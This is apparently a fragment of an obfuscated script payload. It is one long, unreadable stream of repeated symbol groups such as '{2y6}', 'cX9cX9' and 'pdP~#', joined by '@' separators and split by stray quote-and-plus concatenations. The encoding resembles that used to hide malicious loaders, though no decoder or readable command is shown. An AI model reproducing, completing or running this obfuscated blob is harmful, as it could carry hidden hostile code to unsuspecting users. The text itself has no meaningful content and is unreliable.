}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+}pdP~#{2y6}#-/{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}#-/{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }~{2y6})+{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6+ })+{2y6}#-/{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6'+'}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6+})({2y6}%*{'+'2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +})+{2y6}~{2y6}@{2y6 + })'+'+{2y6}~{2y6}@{2y6+}~{2y6})({2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6'+'}@{2y6+};{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}cX9cX9{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+})+{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+}pdP~#{2y6}#-/{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{'+'2y6+ })({2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+'+'{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +}~{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}%*{2y6}%*{2y6}@{2y6 +}2y6{2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }2y6{2y6}#-/{2y6}@{2y6 +}2y6{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ };{2y6};{2y6}%*{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +};{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})+'+'{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}~{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+}~{2y6}-=2y6{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }'+';{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}#-/{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})({2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 '+' +}pdP~#{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}'+'-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6 + }cX9cX9{2y6}'+')+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}#-/{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+ };{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })({2y6})({2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +})+{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6})+{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+})({2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}#-/{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y'+'6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}-=2y6{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ })+{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6 